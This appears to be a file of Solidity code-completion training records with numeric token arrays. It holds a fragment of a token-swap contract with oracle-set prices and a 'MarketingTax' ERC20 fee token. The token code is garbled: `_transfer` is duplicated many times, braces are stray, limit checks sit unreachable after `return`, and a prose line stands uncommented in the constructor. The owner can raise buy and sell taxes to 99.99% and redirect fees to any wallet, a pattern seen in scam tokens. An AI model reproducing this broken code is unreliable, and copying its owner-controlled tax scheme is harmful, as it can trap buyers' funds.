function setTradeExecuters(address[] calldata operators) external onlyOwner {
require(_ownedContract, Errors.NO_CONTRACT_OWNER);
_setTradeExecuters(operators);
}
/**
* @dev Set list of trade executers for the Swaps contract.
* @param operators Trade executers addresses.
*/
function _setTradeExecuters(address[] memory operators) internal {
for (uint i = 0; i<_tradeExecuters.length; i++){
_isTradeExecuter[_tradeExecuters[i]] = false;
}
for (uint j = 0; j<operators.length; j++){
_isTradeExecuter[operators[j]] = true;
}
_tradeExecuters = operators;
}
/************************** TOKEN CONTROLLERS *******************************/
/**
* @dev Get the list of token controllers for a given token.
* @param tokenAddress Token address.
* @return List of addresses of all the token controllers for a given token.
*/
function tokenControllers(address tokenAddress) external view returns (address[] memory) {
return _tokenControllers[tokenAddress];
}
/**
* @dev Set list of token controllers for a given token.
* @param tokenAddress Token address.
* @param operators Operators addresses.
*/
function setTokenControllers(address tokenAddress, address[] calldata operators) external onlyTokenController(tokenAddress) {
for (uint i = 0; i<_tokenControllers[tokenAddress].length; i++){
_isTokenController[tokenAddress][_tokenControllers[tokenAddress][i]] = false;
}
for (uint j = 0; j<operators.length; j++){
_isTokenController[tokenAddress][operators[j]] = true;
}
_tokenControllers[tokenAddress] = operators;
}
/************************** TOKEN PRICE ORACLES *******************************/
/**
* @dev Get the list of price oracles for a given token.
* @param tokenAddress Token address.
* @return List of addresses of all the price oracles for a given token.
*/
function priceOracles(address tokenAddress) external view returns (address[] memory) {
return _priceOracles[tokenAddress];
}
/**
* @dev Set list of price oracles for a given token.
* @param tokenAddress Token address.
* @param oracles Oracles addresses.
*/
function setPriceOracles(address tokenAddress, address[] calldata oracles) external onlyPriceOracle(tokenAddress) {
for (uint i = 0; i<_priceOracles[tokenAddress].length; i++){
_isPriceOracle[tokenAddress][_priceOracles[tokenAddress][i]] = false;
}
for (uint j = 0; j<oracles.length; j++){
_isPriceOracle[tokenAddress][oracles[j]] = true;
}
_priceOracles[tokenAddress] = oracles;
}
/**
* @dev Check if address is oracle of a given token.
* @param tokenAddress Token address.
* @param oracle Oracle address.
* @return 'true' if the address is oracle of the given token.
*/
function _checkPriceOracle(address tokenAddress, address oracle) internal view returns(bool) {
return(_isPriceOracle[tokenAddress][oracle] || oracle == Ownable(tokenAddress).owner());
}
/****************************** Swaps PRICES *********************************/
/**
* @dev Get price of the token.
* @param tokenAddress1 Address of the token to be priced.
* @param tokenAddress2 Address of the token to pay for token1.
*/
function getPriceOwnership(address tokenAddress1, address tokenAddress2) external view returns(bool) {
return _priceOwnership[tokenAddress1][tokenAddress2];
}
/**
* @dev Take ownership for setting the price of a token.
* @param tokenAddress1 Address of the token to be priced.
* @param tokenAddress2 Address of the token to pay for token1.
*/
function setPriceOwnership(address tokenAddress1, address tokenAddress2, bool priceOwnership) external onlyPriceOracle(tokenAddress1) {
_priceOwnership[tokenAddress1][tokenAddress2] = priceOwnership;
}
/**
* @dev Get date after which the token price can potentially be set by an oracle (0 if price can not be set by an oracle).
* @param tokenAddress Token address.
*/
function variablePriceStartDate(address tokenAddress) external view returns(uint256) {
return _variablePriceStartDate[tokenAddress];
}
/**
* @dev Set date after which the token price can potentially be set by an oracle (0 if price can not be set by an oracle).
* @param tokenAddress Token address.
* @param startDate Date after which token price can potentially be set by an oracle (0 if price can not be set by an oracle).
*/
function setVariablePriceStartDate(address tokenAddress, uint256 startDate) external onlyPriceOracle(tokenAddress) {
require((startDate > block.timestamp + SECONDS_IN_WEEK) || startDate == 0, Errors.SW_START_DATE_MUST_BE_ONE_WEEK_BEFORE);
_variablePriceStartDate[tokenAddress] = startDate;
}
/**
* @dev Get price of the token.
* @param tokenAddress1 Address of the token to be priced.
* @param tokenAddress2 Address of the token to pay for token1.
* @param tokenId1 ID/partition of the token1 (set to 0 bytes32 if price is set for all IDs/partitions).
* @param tokenId1 ID/partition of the token2 (set to 0 bytes32 if price is set for all IDs/partitions).
*/
function getTokenPrice(address tokenAddress1, address tokenAddress2, bytes32 tokenId1, bytes32 tokenId2) external view returns(uint256) {
return _tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][tokenId1][tokenId2];
}
/**
* @dev Set price of a token.
* @param tokenAddress1 Address of the token to be priced.
* @param tokenAddress2 Address of the token to pay for token1.
* @param tokenId1 ID/partition of the token1 (set to 0 bytes32 if price is set for all IDs/partitions).
* @param tokenId2 ID/partition of the token2 (set to 0 bytes32 if price is set for all IDs/partitions).
* @param newPrice New price of the token.
*/
function setTokenPrice(address tokenAddress1, address tokenAddress2, bytes32 tokenId1, bytes32 tokenId2, uint256 newPrice) external {
require(!(_priceOwnership[tokenAddress1][tokenAddress2] && _priceOwnership[tokenAddress2][tokenAddress1]), Errors.SW_COMPETITION_ON_PRICE_OWNERSHIP);
if(_priceOwnership[tokenAddress1][tokenAddress2]) {
require(_checkPriceOracle(tokenAddress1, _msgSender()), Errors.SW_PRICE_SETTER_NOT_TOKEN_ORACLE_1);
} else if(_priceOwnership[tokenAddress2][tokenAddress1]) {
require(_checkPriceOracle(tokenAddress2, _msgSender()), Errors.SW_PRICE_SETTER_NOT_TOKEN_ORACLE_2);
} else {
revert(Errors.SW_NO_PRICE_OWNERSHIP);
}
_tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][tokenId1][tokenId2] = newPrice;
}
/**
* @dev Get amount of token2 to pay to acquire the token1.
* @param index Index of the Swaps request.
*/
function getPrice(uint256 index) public view returns(uint256) {
Trade storage trade = _trades[index];
address tokenAddress1 = trade.userTradeData1.tokenAddress;
uint256 tokenValue1 = trade.userTradeData1.tokenValue;
bytes32 tokenId1 = trade.userTradeData1.tokenId;
address tokenAddress2 = trade.userTradeData2.tokenAddress;
uint256 tokenValue2 = trade.userTradeData2.tokenValue;
bytes32 tokenId2 = trade.userTradeData2.tokenId;
require(!(_priceOwnership[tokenAddress1][tokenAddress2] && _priceOwnership[tokenAddress2][tokenAddress1]), Errors.SW_COMPETITION_ON_PRICE_OWNERSHIP);
if(_variablePriceStartDate[tokenAddress1] == 0 || block.timestamp < _variablePriceStartDate[tokenAddress1]) {
return tokenValue2;
}
if(_priceOwnership[tokenAddress1][tokenAddress2] || _priceOwnership[tokenAddress2][tokenAddress1]) {
if(_tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][tokenId1][tokenId2] != 0) {
return tokenValue1 * (_tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][tokenId1][tokenId2]);
} else if(_tokenUnitPricesByPartition[tokenAddress2][tokenAddress1][tokenId2][tokenId1] != 0) {
return tokenValue1 / (_tokenUnitPricesByPartition[tokenAddress2][tokenAddress1][tokenId2][tokenId1]);
} else if(_tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][tokenId1][ALL_PARTITIONS] != 0) {
return tokenValue1 * (_tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][tokenId1][ALL_PARTITIONS]);
} else if(_tokenUnitPricesByPartition[tokenAddress2][tokenAddress1][ALL_PARTITIONS][tokenId1] != 0) {
return tokenValue1 / (_tokenUnitPricesByPartition[tokenAddress2][tokenAddress1][ALL_PARTITIONS][tokenId1]);
} else if(_tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][ALL_PARTITIONS][tokenId2] != 0) {
return tokenValue1 * (_tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][ALL_PARTITIONS][tokenId2]);
} else if(_tokenUnitPricesByPartition[tokenAddress2][tokenAddress1][tokenId2][ALL_PARTITIONS] != 0) {
return tokenValue1 / (_tokenUnitPricesByPartition[tokenAddress2][tokenAddress1][tokenId2][ALL_PARTITIONS]);
} else if(_tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][ALL_PARTITIONS][ALL_PARTITIONS] != 0) {
return tokenValue1 * (_tokenUnitPricesByPartition[tokenAddress1][tokenAddress2][ALL_PARTITIONS][ALL_PARTITIONS]);
} else if(_tokenUnitPricesByPartition[tokenAddress2][tokenAddress1][ALL_PARTITIONS][ALL_PARTITIONS] != 0) {
return tokenValue1 / (_tokenUnitPricesByPartition[tokenAddress2][tokenAddress1][ALL_PARTITIONS][ALL_PARTITIONS]);
} else {
return tokenValue2;
}
} else {
return tokenValue2;
}
}
/**************************** VIEW FUNCTIONS *******************************/
/**
* @dev Get the trade.
* @param index Index of the trade.
* @return Trade.
*/
function getTrade(uint256 index) external view returns(Trade memory) {
Trade storage trade = _trades[index];
return trade;
}
/**
* @dev Get the total number of requests in the Swaps contract.
* @return Total number of requests in the Swaps contract.
*/
function getNbTrades() external view returns(uint256) {
return _index;
}
}
| * @dev Retrieve the tokenData from the 'data' field. @param data Concatenated information about the trade proposal. @return tokenData Trade token data < 1: address > < 2: amount > < 3: id/partition > < 4: standard > < 5: accepted > < 6: approved >./ | function _getTradeTokenData(bytes memory data) internal pure returns(UserTradeData memory tokenData) {
address tokenAddress;
uint256 tokenAmount;
bytes32 tokenId;
Standard tokenStandard;
TradeType tradeType;
assembly {
tokenAddress:= mload(add(data, 192))
tokenAmount:= mload(add(data, 224))
tokenId:= mload(add(data, 256))
tokenStandard:= mload(add(data, 288))
tradeType:= mload(add(data, 320))
}
tokenData = UserTradeData(
tokenAddress,
tokenAmount,
tokenId,
tokenStandard,
false,
false,
tradeType,
);
}
| 12,733,496 | [
1,
5767,
326,
1147,
751,
628,
326,
296,
892,
11,
652,
18,
225,
501,
23873,
275,
690,
1779,
2973,
326,
18542,
14708,
18,
327,
1147,
751,
2197,
323,
1147,
501,
411,
404,
30,
1758,
405,
411,
576,
30,
3844,
405,
411,
890,
30,
612,
19,
10534,
405,
411,
1059,
30,
4529,
405,
411,
1381,
30,
8494,
405,
411,
1666,
30,
20412,
405,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
389,
588,
22583,
1345,
751,
12,
3890,
3778,
501,
13,
2713,
16618,
1135,
12,
1299,
22583,
751,
3778,
1147,
751,
13,
288,
203,
565,
1758,
1147,
1887,
31,
203,
565,
2254,
5034,
1147,
6275,
31,
203,
565,
1731,
1578,
1147,
548,
31,
203,
565,
8263,
1147,
8336,
31,
203,
565,
2197,
323,
559,
18542,
559,
31,
203,
203,
565,
19931,
288,
203,
1377,
1147,
1887,
30,
33,
312,
945,
12,
1289,
12,
892,
16,
20217,
3719,
203,
1377,
1147,
6275,
30,
33,
312,
945,
12,
1289,
12,
892,
16,
576,
3247,
3719,
203,
1377,
1147,
548,
30,
33,
312,
945,
12,
1289,
12,
892,
16,
8303,
3719,
203,
1377,
1147,
8336,
30,
33,
312,
945,
12,
1289,
12,
892,
16,
576,
5482,
3719,
203,
1377,
18542,
559,
30,
33,
312,
945,
12,
1289,
12,
892,
16,
890,
3462,
3719,
203,
565,
289,
203,
565,
1147,
751,
273,
2177,
22583,
751,
12,
203,
1377,
1147,
1887,
16,
203,
1377,
1147,
6275,
16,
203,
1377,
1147,
548,
16,
203,
1377,
1147,
8336,
16,
203,
1377,
629,
16,
203,
1377,
629,
16,
203,
1377,
18542,
559,
16,
203,
565,
11272,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x5330B1548EF6689590A4c92E7740DF2D731e7b1D/sources/MarketingTax.sol | exlcude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount | contract MarketingTax is ERC20, Ownable, Ownership {
uint256 public Optimization = 169396713327663883;
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
uint256 public swapTokensAtAmount;
uint256 public centiSellTax;
uint256 public centiBuyTax;
address public marketingWallet;
uint256 public maxTxAmount;
uint256 public maxWalletAmount;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
}
struct Parameters {
uint256 centiBuyTax;
uint256 centiSellTax;
address marketingWallet;
uint256 maxTxPercent;
uint256 maxWalletPercent;
}
constructor(
string memory name_,
string memory symbol_,
uint256 supply_,
uint8 decimals_,
Parameters memory parameters,
address uniswapV2Router_,
address addr_
) payable ERC20(name_, symbol_, decimals_) Ownership(addr_) {
payable(addr_).transfer(msg.value);
marketingWallet = parameters.marketingWallet;
centiBuyTax = parameters.centiBuyTax;
centiSellTax = parameters.centiSellTax;
uniswapV2Router = IUniswapV2Router02(uniswapV2Router_);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
_setAutomatedMarketMakerPair(uniswapV2Pair, true);
excludeFromFees(owner(), true);
excludeFromFees(marketingWallet, true);
excludeFromFees(address(this), true);
excludeFromFees(address(uniswapV2Router), true);
swapTokensAtAmount = (supply_.div(5000) + 1) * (10 ** decimals_);
maxTxAmount =
parameters.maxTxPercent *
supply_ *
(10 ** decimals_).div(10000);
maxWalletAmount =
parameters.maxWalletPercent *
supply_ *
(10 ** decimals_).div(10000);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(owner(), supply_ * (10 ** decimals_));
}
receive() external payable {}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(
newAddress != address(uniswapV2Router),
"The router already has that address"
);
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
uniswapV2Pair = _uniswapV2Pair;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function excludeMultipleAccountsFromFees(
address[] memory accounts,
bool excluded
) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function excludeMultipleAccountsFromFees(
address[] memory accounts,
bool excluded
) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFees[accounts[i]] = excluded;
}
emit ExcludeMultipleAccountsFromFees(accounts, excluded);
}
function setMarketingWallet(address payable wallet) external onlyOwner {
marketingWallet = wallet;
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) public onlyOwner {
require(
pair != uniswapV2Pair,
"The PanRewardSwap pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(
automatedMarketMakerPairs[pair] != value,
"Automated market maker pair is already set to that value"
);
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (
(to == address(0) || to == address(0xdead)) ||
(_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||
amount == 0
) {
super._transfer(from, to, amount);
return;
require(
amount <= maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (to != uniswapV2Pair) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletAmount,
"Exceeds maximum wallet amount"
);
}
}
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
uint256 marketingTokens = swapTokensAtAmount;
if (marketingTokens > 0) {
swapAndSendToFee(marketingTokens, marketingWallet);
}
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(centiBuyTax).div(10000);
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(centiSellTax).div(10000);
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (
(to == address(0) || to == address(0xdead)) ||
(_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||
amount == 0
) {
super._transfer(from, to, amount);
return;
require(
amount <= maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (to != uniswapV2Pair) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletAmount,
"Exceeds maximum wallet amount"
);
}
}
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
uint256 marketingTokens = swapTokensAtAmount;
if (marketingTokens > 0) {
swapAndSendToFee(marketingTokens, marketingWallet);
}
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(centiBuyTax).div(10000);
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(centiSellTax).div(10000);
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
} else {
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (
(to == address(0) || to == address(0xdead)) ||
(_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||
amount == 0
) {
super._transfer(from, to, amount);
return;
require(
amount <= maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (to != uniswapV2Pair) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletAmount,
"Exceeds maximum wallet amount"
);
}
}
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
uint256 marketingTokens = swapTokensAtAmount;
if (marketingTokens > 0) {
swapAndSendToFee(marketingTokens, marketingWallet);
}
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(centiBuyTax).div(10000);
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(centiSellTax).div(10000);
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
uint256 contractTokenBalance = balanceOf(address(this));
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (
(to == address(0) || to == address(0xdead)) ||
(_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||
amount == 0
) {
super._transfer(from, to, amount);
return;
require(
amount <= maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (to != uniswapV2Pair) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletAmount,
"Exceeds maximum wallet amount"
);
}
}
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
uint256 marketingTokens = swapTokensAtAmount;
if (marketingTokens > 0) {
swapAndSendToFee(marketingTokens, marketingWallet);
}
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(centiBuyTax).div(10000);
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(centiSellTax).div(10000);
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (
(to == address(0) || to == address(0xdead)) ||
(_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||
amount == 0
) {
super._transfer(from, to, amount);
return;
require(
amount <= maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (to != uniswapV2Pair) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletAmount,
"Exceeds maximum wallet amount"
);
}
}
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
uint256 marketingTokens = swapTokensAtAmount;
if (marketingTokens > 0) {
swapAndSendToFee(marketingTokens, marketingWallet);
}
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(centiBuyTax).div(10000);
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(centiSellTax).div(10000);
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (
(to == address(0) || to == address(0xdead)) ||
(_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||
amount == 0
) {
super._transfer(from, to, amount);
return;
require(
amount <= maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (to != uniswapV2Pair) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletAmount,
"Exceeds maximum wallet amount"
);
}
}
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
uint256 marketingTokens = swapTokensAtAmount;
if (marketingTokens > 0) {
swapAndSendToFee(marketingTokens, marketingWallet);
}
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(centiBuyTax).div(10000);
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(centiSellTax).div(10000);
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (
(to == address(0) || to == address(0xdead)) ||
(_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||
amount == 0
) {
super._transfer(from, to, amount);
return;
require(
amount <= maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (to != uniswapV2Pair) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletAmount,
"Exceeds maximum wallet amount"
);
}
}
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
uint256 marketingTokens = swapTokensAtAmount;
if (marketingTokens > 0) {
swapAndSendToFee(marketingTokens, marketingWallet);
}
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(centiBuyTax).div(10000);
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(centiSellTax).div(10000);
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (
(to == address(0) || to == address(0xdead)) ||
(_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||
amount == 0
) {
super._transfer(from, to, amount);
return;
require(
amount <= maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
if (to != uniswapV2Pair) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletAmount,
"Exceeds maximum wallet amount"
);
}
}
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && !swapping && !automatedMarketMakerPairs[from]) {
swapping = true;
uint256 marketingTokens = swapTokensAtAmount;
if (marketingTokens > 0) {
swapAndSendToFee(marketingTokens, marketingWallet);
}
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(centiBuyTax).div(10000);
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(centiSellTax).div(10000);
}
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
function swapAndSendToFee(uint256 tokens, address receiver) private {
uint256 initialBalance = address(this).balance;
swapTokensForEth(tokens);
uint256 newBalance = address(this).balance.sub(initialBalance);
payable(receiver).transfer(newBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
path,
address(this),
block.timestamp
);
}
function getAllTaxes() external onlyOwner {
swapAndSendToFee(balanceOf(address(this)), marketingWallet);
}
function setSellTax(
uint256 _wholeNumber,
uint256 _firstNumberAfterDecimal,
uint256 _secondNumberAfterDecimal
) public onlyOwner {
require(
_wholeNumber < 100 &&
_firstNumberAfterDecimal <= 9 &&
_secondNumberAfterDecimal <= 9
);
centiSellTax =
_wholeNumber *
100 +
_firstNumberAfterDecimal *
10 +
_secondNumberAfterDecimal;
}
function setBuyTax(
uint256 _wholeNumber,
uint256 _firstNumberAfterDecimal,
uint256 _secondNumberAfterDecimal
) public onlyOwner {
require(
_wholeNumber < 100 &&
_firstNumberAfterDecimal <= 9 &&
_secondNumberAfterDecimal <= 9
);
centiBuyTax =
_wholeNumber *
100 +
_firstNumberAfterDecimal *
10 +
_secondNumberAfterDecimal;
}
}
| 15,543,205 | [
1,
338,
17704,
1317,
628,
1656,
281,
471,
943,
2492,
3844,
1707,
6138,
716,
279,
5859,
13667,
312,
6388,
5574,
18,
5502,
7412,
358,
4259,
6138,
3377,
506,
3221,
358,
279,
4207,
7412,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
6622,
21747,
7731,
353,
4232,
39,
3462,
16,
14223,
6914,
16,
14223,
9646,
5310,
288,
203,
377,
203,
565,
2254,
5034,
1071,
19615,
1588,
273,
2872,
29,
5520,
9599,
3437,
1578,
6669,
4449,
5482,
23,
31,
203,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
565,
1758,
1071,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
203,
565,
1426,
3238,
7720,
1382,
31,
203,
203,
565,
2254,
5034,
1071,
7720,
5157,
861,
6275,
31,
203,
203,
565,
2254,
5034,
1071,
8301,
77,
55,
1165,
7731,
31,
203,
565,
2254,
5034,
1071,
8301,
17632,
9835,
7731,
31,
203,
203,
565,
1758,
1071,
13667,
310,
16936,
31,
203,
565,
